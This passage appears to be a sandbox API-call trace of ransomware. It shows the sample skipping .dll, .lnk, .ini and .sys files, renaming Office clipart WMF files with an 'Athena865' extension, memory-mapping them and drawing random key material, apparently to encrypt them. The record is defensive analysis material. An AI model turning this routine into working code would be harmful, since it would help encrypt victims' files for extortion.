[0127.972] lstrlenW (lpString="J0212953.WMF") returned 12 [0127.972] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.Athena865") returned 73 [0127.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.athena865"), dwFlags=0x1) returned 1 [0127.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.974] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7498) returned 1 [0127.974] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.974] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.974] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.975] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2050, lpName=0x0) returned 0x154 [0127.976] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2050) returned 0x100000 [0127.977] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.978] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.978] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.978] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0213243.WMF" | out: lpString1="J0213243.WMF") returned="J0213243.WMF" [0127.979] lstrlenW (lpString="J0213243.WMF") returned 12 [0127.979] lstrlenW (lpString="Athena865") returned 9 [0127.979] lstrcmpiW (lpString1="13243.WMF", lpString2="Athena865") returned -1 [0127.979] lstrlenW (lpString=".dll") returned 4 [0127.979] lstrcmpiW (lpString1="J0213243.WMF", lpString2=".dll") returned 1 [0127.979] lstrlenW (lpString=".lnk") returned 4 [0127.979] lstrcmpiW (lpString1="J0213243.WMF", lpString2=".lnk") returned 1 [0127.979] lstrlenW (lpString=".ini") returned 4 [0127.979] lstrcmpiW (lpString1="J0213243.WMF", lpString2=".ini") returned 1 [0127.979] lstrlenW (lpString=".sys") returned 4 [0127.979] lstrcmpiW (lpString1="J0213243.WMF", lpString2=".sys") returned 1 [0127.979] lstrlenW (lpString="J0213243.WMF") returned 12 [0127.979] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.Athena865") returned 73 [0127.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.athena865"), dwFlags=0x1) returned 1 [0127.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.981] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2652) returned 1 [0127.981] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.982] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.982] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.982] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x154 [0127.985] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0127.986] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.988] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.988] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.988] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0213449.WMF" | out: lpString1="J0213449.WMF") returned="J0213449.WMF" [0127.989] lstrlenW (lpString="J0213449.WMF") returned 12 [0127.989] lstrlenW (lpString="Athena865") returned 9 [0127.989] lstrcmpiW (lpString1="13449.WMF", lpString2="Athena865") returned -1 [0127.989] lstrlenW (lpString=".dll") returned 4 [0127.989] lstrcmpiW (lpString1="J0213449.WMF", lpString2=".dll") returned 1 [0127.989] lstrlenW (lpString=".lnk") returned 4 [0127.989] lstrcmpiW (lpString1="J0213449.WMF", lpString2=".lnk") returned 1 [0127.989] lstrlenW (lpString=".ini") returned 4 [0127.989] lstrcmpiW (lpString1="J0213449.WMF", lpString2=".ini") returned 1 [0127.989] lstrlenW (lpString=".sys") returned 4 [0127.989] lstrcmpiW (lpString1="J0213449.WMF", lpString2=".sys") returned 1 [0127.989] lstrlenW (lpString="J0213449.WMF") returned 12 [0127.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.Athena865") returned 73 [0127.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.athena865"), dwFlags=0x1) returned 1 [0127.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.990] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3840) returned 1 [0127.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.991] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.991] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.991] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x154 [0127.993] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0127.994] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.995] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.995] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.996] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0214934.WMF" | out: lpString1="J0214934.WMF") returned="J0214934.WMF" [0127.996] lstrlenW (lpString="J0214934.WMF") returned 12 [0127.996] lstrlenW (lpString="Athena865") returned 9 [0127.996] lstrcmpiW (lpString1="14934.WMF", lpString2="Athena865") returned -1 [0127.996] lstrlenW (lpString=".dll") returned 4 [0127.996] lstrcmpiW (lpString1="J0214934.WMF", lpString2=".dll") returned 1 [0127.996] lstrlenW (lpString=".lnk") returned 4 [0127.996] lstrcmpiW (lpString1="J0214934.WMF", lpString2=".lnk") returned 1 [0127.996] lstrlenW (lpString=".ini") returned 4 [0127.996] lstrcmpiW (lpString1="J0214934.WMF", lpString2=".ini") returned 1 [0127.996] lstrlenW (lpString=".sys") returned 4 [0127.996] lstrcmpiW (lpString1="J0214934.WMF", lpString2=".sys") returned 1 [0127.996] lstrlenW (lpString="J0214934.WMF") returned 12 [0127.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.Athena865") returned 73 [0127.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.athena865"), dwFlags=0x1) returned 1 [0127.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.997] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31926) returned 1 [0127.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.998] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.998] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.999] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7fc0, lpName=0x0) returned 0x154 [0128.001] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7fc0) returned 0x100000 [0128.006] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.007] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.007] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.008] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0214948.WMF" | out: lpString1="J0214948.WMF") returned="J0214948.WMF" [0128.008] lstrlenW (lpString="J0214948.WMF") returned 12 [0128.008] lstrlenW (lpString="Athena865") returned 9 [0128.008] lstrcmpiW (lpString1="14948.WMF", lpString2="Athena865") returned -1 [0128.008] lstrlenW (lpString=".dll") returned 4 [0128.008] lstrcmpiW (lpString1="J0214948.WMF", lpString2=".dll") returned 1 [0128.008] lstrlenW (lpString=".lnk") returned 4 [0128.008] lstrcmpiW (lpString1="J0214948.WMF", lpString2=".lnk") returned 1 [0128.008] lstrlenW (lpString=".ini") returned 4 [0128.008] lstrcmpiW (lpString1="J0214948.WMF", lpString2=".ini") returned 1 [0128.008] lstrlenW (lpString=".sys") returned 4 [0128.008] lstrcmpiW (lpString1="J0214948.WMF", lpString2=".sys") returned 1 [0128.008] lstrlenW (lpString="J0214948.WMF") returned 12 [0128.008] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.Athena865") returned 73 [0128.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.athena865"), dwFlags=0x1) returned 1 [0128.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.010] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44794) returned 1 [0128.010] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.011] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.011] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.011] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb200, lpName=0x0) returned 0x154 [0128.013] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb200) returned 0x100000 [0128.015] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.016] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.016] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.017] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215070.WMF" | out: lpString1="J0215070.WMF") returned="J0215070.WMF" [0128.017] lstrlenW (lpString="J0215070.WMF") returned 12 [0128.017] lstrlenW (lpString="Athena865") returned 9 [0128.017] lstrcmpiW (lpString1="15070.WMF", lpString2="Athena865") returned -1 [0128.017] lstrlenW (lpString=".dll") returned 4 [0128.017] lstrcmpiW (lpString1="J0215070.WMF", lpString2=".dll") returned 1 [0128.017] lstrlenW (lpString=".lnk") returned 4 [0128.017] lstrcmpiW (lpString1="J0215070.WMF", lpString2=".lnk") returned 1 [0128.017] lstrlenW (lpString=".ini") returned 4 [0128.017] lstrcmpiW (lpString1="J0215070.WMF", lpString2=".ini") returned 1 [0128.018] lstrlenW (lpString=".sys") returned 4 [0128.018] lstrcmpiW (lpString1="J0215070.WMF", lpString2=".sys") returned 1 [0128.018] lstrlenW (lpString="J0215070.WMF") returned 12 [0128.018] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.Athena865") returned 73 [0128.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.athena865"), dwFlags=0x1) returned 1 [0128.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.019] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11628) returned 1 [0128.019] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.020] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.020] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3070, lpName=0x0) returned 0x154 [0128.022] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3070) returned 0x100000 [0128.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.028] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.029] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.029] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215076.WMF" | out: lpString1="J0215076.WMF") returned="J0215076.WMF" [0128.029] lstrlenW (lpString="J0215076.WMF") returned 12 [0128.029] lstrlenW (lpString="Athena865") returned 9 [0128.029] lstrcmpiW (lpString1="15076.WMF", lpString2="Athena865") returned -1 [0128.029] lstrlenW (lpString=".dll") returned 4 [0128.029] lstrcmpiW (lpString1="J0215076.WMF", lpString2=".dll") returned 1 [0128.029] lstrlenW (lpString=".lnk") returned 4 [0128.029] lstrcmpiW (lpString1="J0215076.WMF", lpString2=".lnk") returned 1 [0128.029] lstrlenW (lpString=".ini") returned 4 [0128.029] lstrcmpiW (lpString1="J0215076.WMF", lpString2=".ini") returned 1 [0128.030] lstrlenW (lpString=".sys") returned 4 [0128.030] lstrcmpiW (lpString1="J0215076.WMF", lpString2=".sys") returned 1 [0128.030] lstrlenW (lpString="J0215076.WMF") returned 12 [0128.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.Athena865") returned 73 [0128.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.athena865"), dwFlags=0x1) returned 1 [0128.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.031] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8016) returned 1 [0128.031] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.032] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.032] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.032] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2250, lpName=0x0) returned 0x154 [0128.034] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2250) returned 0x100000 [0128.035] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.035] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.035] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.036] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215210.WMF" | out: lpString1="J0215210.WMF") returned="J0215210.WMF" [0128.036] lstrlenW (lpString="J0215210.WMF") returned 12 [0128.036] lstrlenW (lpString="Athena865") returned 9 [0128.036] lstrcmpiW (lpString1="15210.WMF", lpString2="Athena865") returned -1 [0128.036] lstrlenW (lpString=".dll") returned 4 [0128.036] lstrcmpiW (lpString1="J0215210.WMF", lpString2=".dll") returned 1 [0128.036] lstrlenW (lpString=".lnk") returned 4 [0128.036] lstrcmpiW (lpString1="J0215210.WMF", lpString2=".lnk") returned 1 [0128.036] lstrlenW (lpString=".ini") returned 4 [0128.036] lstrcmpiW (lpString1="J0215210.WMF", lpString2=".ini") returned 1 [0128.036] lstrlenW (lpString=".sys") returned 4 [0128.036] lstrcmpiW (lpString1="J0215210.WMF", lpString2=".sys") returned 1 [0128.036] lstrlenW (lpString="J0215210.WMF") returned 12 [0128.036] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.Athena865") returned 73 [0128.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.athena865"), dwFlags=0x1) returned 1 [0128.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33230) returned 1 [0128.038] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.039] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.039] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.039] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84d0, lpName=0x0) returned 0x154 [0128.041] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84d0) returned 0x100000 [0128.043] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.044] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.044] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.045] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215709.WMF" | out: lpString1="J0215709.WMF") returned="J0215709.WMF" [0128.045] lstrlenW (lpString="J0215709.WMF") returned 12 [0128.045] lstrlenW (lpString="Athena865") returned 9 [0128.045] lstrcmpiW (lpString1="15709.WMF", lpString2="Athena865") returned -1 [0128.045] lstrlenW (lpString=".dll") returned 4 [0128.045] lstrcmpiW (lpString1="J0215709.WMF", lpString2=".dll") returned 1 [0128.045] lstrlenW (lpString=".lnk") returned 4 [0128.045] lstrcmpiW (lpString1="J0215709.WMF", lpString2=".lnk") returned 1 [0128.045] lstrlenW (lpString=".ini") returned 4 [0128.045] lstrcmpiW (lpString1="J0215709.WMF", lpString2=".ini") returned 1 [0128.045] lstrlenW (lpString=".sys") returned 4 [0128.045] lstrcmpiW (lpString1="J0215709.WMF", lpString2=".sys") returned 1 [0128.045] lstrlenW (lpString="J0215709.WMF") returned 12 [0128.045] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.Athena865") returned 73 [0128.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.athena865"), dwFlags=0x1) returned 1 [0128.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.047] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9290) returned 1 [0128.047] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.048] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.048] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.048] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2750, lpName=0x0) returned 0x154 [0128.051] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2750) returned 0x100000 [0128.052] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.053] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.053] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.054] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0215710.WMF" | out: 